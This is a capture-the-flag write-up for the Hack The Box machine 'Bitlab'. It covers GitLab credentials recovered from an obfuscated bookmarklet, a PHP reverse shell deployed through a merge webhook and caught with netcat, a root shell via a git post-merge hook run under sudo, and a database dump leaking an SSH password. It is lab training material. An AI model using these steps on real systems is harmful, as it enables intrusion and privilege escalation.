Quick Summary

First than everything, I need to make clear that this box has 2 ways for doing privilege escalation: one is doing reversing and the other taking advantage of a misconfiguration with sudo and git. I will describe the steps for the sudo + git path as I’m just starting to do my first steps into more low-level stuff. Despite this, in the future I will actualize this post to reflect also the reversing path.

This was a cool box, not hard at the technical level, but one that required to enumerate a lot, so pretty cool to get better at that!

Said that, let’s get our hands dirty :D

Nmap

We start running nmap to get which ports/services are being exposed:

root@kali:~/Documents/HTB/boxes/medium/linux/bitlab# nmap -sC -sV -O 10.10.10.114 -o ininitial-nmap.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-12 22:33 EST
Nmap scan report for bitlab.htb (10.10.10.114)
Host is up (0.019s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a2:3b:b0:dd:28:91:bf:e8:f9:30:82:31:23:2f:92:18 (RSA)
|   256 e6:3b:fb:b3:7f:9a:35:a8:bd:d0:27:7b:25:d4:ed:dc (ECDSA)
|_  256 c9:54:3d:91:01:78:03:ab:16:14:6b:cc:f0:b7:3a:55 (ED25519)
80/tcp open  http    nginx
| http-robots.txt: 55 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://bitlab.htb/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.18 (90%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Dec 12 22:34:15 2019 -- 1 IP address (1 host up) scanned in 17.39 seconds

And we get SSH (22) and HTTP (80) are open + that the web service which is running on port 80 is Gitlab.

Web enumeration

The home page (http://10.10.10.114/), is just the standard login page which bitlab has:

We try the links in this page and check if they are working, with it we found Help it is, and we are redirected to a directory listing having a bookmarks.html and open it:

We notice that Gitlab Login is an obfuscated js code, we jump into deobfuscate it (I used de4js but any deobfuscation tool or even a python console will do it):

From the code:

javascript:(function(){ var _0x4b18=["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5]; })()

We get the following code:

javascript: (function () {
    var _0x4b18 = ["value", "user_login", "getElementById", "clave", "user_password", "11des0081x"];
    document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]] = _0x4b18[3];
    document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]] = _0x4b18[5];
})()

With that we get credentials we could try into the login, an user called clave and a password 11des0081x, after we try to login with those credentials we are loged and have access to some projects:

Taking a deepest look into Profile we find that this project has Auto DevOps enabled. We continue enumerating a bit more, and see that the project called Deployer is in charge to manage to do that: deploy the applications, in the description is given a link pointing to the we take a look into the documentation of webhooks gitlab has, after it we take a look into index.php to see what it does:

<?php

$input = file_get_contents("php://input");
$payload  = json_decode($input);

$repo = $payload->project->name ?? '';
$event = $payload->event_type ?? '';
$state = $payload->object_attributes->state ?? '';
$branch = $payload->object_attributes->target_branch ?? '';

if ($repo=='Profile' && $branch=='master' && $event=='merge_request' && $state=='merged') {
    echo shell_exec('cd ../profile/; sudo git pull'),"\n";
}

echo "OK\n";

Tying together the pieces we have at this point, we can figure out the foothold: we need to upload a php reverse shell, having it merged to master (the code of index.php specifies git pull will being executed basically if there was a merge to master), once that is done, a webhook will execute index.php from Deployer with this we will have our reverse shell uploaded to server.

RCE -> www-data -> root

We upload the next php reverse shell by pentestmonkey changing $ip = '127.0.0.1' and $port = 1234 to our ip and the port we will be listening in our machine, afterwards we merge it (we will be automatically redirected to the page for merging it).

Now, the reverse shell is uploaded, but we still need to execute it, for that is needed to know which one is the path to execute it, if we remember the project Deployer has it’s index.php which will print an “OK” we could try to access the path of deployer and see if it is printed, if it is, then we know that the path for our reverse shell will be http://10.0.0.14/profile/<name of our reverse shell>:

Now we know that indeed that the mentioned url above will be the one wee need to use. We run the listener for our reverse shell and execute it, with it having our rce:

root@kali:~/Documents/HTB/boxes/medium/linux/bitlab# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.7] from (UNKNOWN) [10.10.10.114] 57130
Linux bitlab 4.15.0-29-generic #31-Ubuntu SMP Tue Jul 17 15:39:52 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
 19:56:40 up 12 min,  0 users,  load average: 0.55, 0.56, 0.46
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@bitlab:/var/www$ pwd
pwd
/var/www

We check if we have sudo rights, where is the home of www-data and what we found there:

www-data@bitlab:/var/www$ sudo -l
sudo -l
Matching Defaults entries for www-data on bitlab:
    env_reset, exempt_group=sudo, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bitlab:
    (root) NOPASSWD: /usr/bin/git pull
www-data@bitlab:/var/www$ getent passwd www-data
getent passwd www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
www-data@bitlab:/tmp/profile$ cd /var/www/html/profile
cd /var/www/html/profile
www-data@bitlab:/var/www/html/profile$ ls -la
ls -la
total 144
drwxr-xr-x 3 root root  4096 Jan 10 19:56 .
drwxr-xr-x 5 root root  4096 Jul 30 12:37 ..
drwxr-xr-x 8 root root  4096 Jan 10 20:02 .git
-rw-r--r-- 1 root root    42 Feb 26  2019 .htaccess
-rw-r--r-- 1 root root   110 Jan  4  2019 README.md
-rw-r--r-- 1 root root 93029 Jan  5  2019 developer.jpg
-rw-r--r-- 1 root root  4184 Jan  4  2019 index.php
-rw-r--r-- 1 root root  5493 Jan 10 19:55 rev-sh.php    

So far we know that the repos of git are under /var/www/html/ and that we are allowed to do a git pull with sudo rights inside the repos, this is what we will be using to get root by taking advantage of the webhooks enabled in gitlab (post-merge hook) and the ability to run git pull with root rights (git pull is like git fetch and git merge in one for saying it in a way), for understanding how these 2 things work, jump into the documentation of hooks: post merge and the one for git pull.

Our repo doesn’t allow us to edit files there, so we copy the repo to a place where we have them:

www-data@bitlab:/var/www/html$ cp -r profile /tmp/profile
cp -r profile /tmp/profile
www-data@bitlab:/tmp/profile$ ls -la
ls -la
total 148
drwxr-xr-x 4 www-data www-data  4096 Jan 10 20:08 .
drwxrwxrwt 3 root     root      4096 Jan 10 20:03 ..
drwxr-xr-x 8 www-data www-data  4096 Jan 10 20:03 .git
-rw-r--r-- 1 www-data www-data    42 Jan 10 20:03 .htaccess
-rw-r--r-- 1 www-data www-data   110 Jan 10 20:03 README.md
-rw-r--r-- 1 www-data www-data 93029 Jan 10 20:03 developer.jpg
-rw-r--r-- 1 www-data www-data  5493 Jan 10 20:03 foo
-rw-r--r-- 1 www-data www-data  4184 Jan 10 20:03 index.php
drwxr-xr-x 3 www-data www-data  4096 Jan 10 20:08 profile
-rw-r--r-- 1 www-data www-data  5493 Jan 10 20:03 rev-sh.php

We create a script named as post-merge inside .git/hooks to get a shell as root and give to it execution rights:

www-data@bitlab:/tmp/profile$ cd .git/hooks
cd .git/hooks
www-data@bitlab:/tmp/profile/.git/hooks$ echo 'exec /bin/bash 0<&2 1>&2' > post-merge
< 'exec /bin/bash 0<&2 1>&2' > post-merge
www-data@bitlab:/tmp/profile/.git/hooks$ chmod u+x post-merge
chmod u+x post-merge

Once that is done, we upload any file (doesn’t matter) to gitlab and merge it, once that is done from inside this location we have rights, we run sudo git pull and with that we will be root:

www-data@bitlab:/tmp/profile$ sudo git pull
sudo git pull
remote: Enumerating objects: 4, done.
remote: Counting objects: 100% (4/4), done.
remote: Compressing objects: 100% (3/3), done.
Unpacking objects: 100% (3/3), done.
remote: Total 3 (delta 2), reused 0 (delta 0)
From ssh://localhost:3022/root/profile
   35da5b2..cbbc729  master     -> origin/master
 * [new branch]      patch-2    -> origin/patch-8
Updating 35da5b2..cbbc729
Fast-forward
 1asf | 1 +
 1 file changed, 1 insertion(+)
 create mode 100644 1asf
root@bitlab:/tmp/profile# id
id
uid=0(root) gid=0(root) groups=0(root)
root@bitlab:/tmp/profile# cd /root    
cd /root
root@bitlab:~# ls   
ls 
root.txt
root@bitlab:~# wc -c root.txt
wc -c root.txt
33 root.txt

With this we can already go to /home and see from there which user and it’s respective flag.

Beyond root

Ok, as I said at the begining of the post, there are 2 paths to get this box:

1 - Intended way (user -> root) by doing reversing. 2 - Taking advantage of this misconfigurations.

I will go now into the 1, but I will only cover how to get user, and in the future once I know some reversing, I will post the last piece.

User

In the home page of the Profile project, there is a hint, is mentioned a connection postgresql and snippets, we go to the snippets page, and we found we have one

We open it and se it’s a script to connect to the database and get a dump of profiles:

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");

Then, inside the profile project we add a new file with that code, but also we create an array with pg_fetch_all($result) in order to save all the profiles dumped, so the result is this one:

<?php
$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");
$result = pg_query($db_connection, "SELECT * FROM profiles");
$arr = pg_fetch_all($result);
print_r($arr);

After save and merge of it, we go to http://10.10.10.114/profile/<name you give to the script>, and we should get as a result printed an array with our previous user clave and a password:

Array ( [0] => Array ( [id] => 1 [username] => clave [password] => c3NoLXN0cjBuZy1wQHNz== ) )

Before trying to crack the password, we try to use as it is, and indeed it was just that one it was not encrypted!

root@kali:~/Documents/HTB/boxes/medium/linux/bitlab# ssh 10.10.10.114 -l clave
clave@10.10.10.114's password: 
Last login: Fri Jan 10 19:45:16 2020 from 10.10.14.7
clave@bitlab:~$ id
uid=1000(clave) gid=1000(clave) groups=1000(clave)
clave@bitlab:~$ ls -la
total 44
drwxr-xr-x 4 clave clave  4096 Aug  8 14:40 .
drwxr-xr-x 3 root  root   4096 Feb 28  2019 ..
lrwxrwxrwx 1 root  root      9 Feb 28  2019 .bash_history -> /dev/null
-rw-r--r-- 1 clave clave  3771 Feb 28  2019 .bashrc
drwx------ 2 clave clave  4096 Aug  8 14:40 .cache
drwx------ 3 clave clave  4096 Aug  8 14:40 .gnupg
-rw-r--r-- 1 clave clave   807 Feb 28  2019 .profile
-r-------- 1 clave clave 13824 Jul 30 19:58 RemoteConnection.exe
-r-------- 1 clave clave    33 Feb 28  2019 user.txt
clave@bitlab:~$ wc -c user.txt 
33 user.txt

We got user shell, and after listing the files in it’s home there is an interesting .exe called RemoteConnection.exe, from here it will be needed to download that RemoteConnection.exe and start getting the hands dirty with some debugger to start doing reversing and see what it’s hiding, but as I said before this will be an update in the future once I know how to do it :P.

So far then we know this box has 2 ways to get root, I enjoyed quite a lot this box, and Im looking forward to do it again once I know some reversing.

Until nex write up!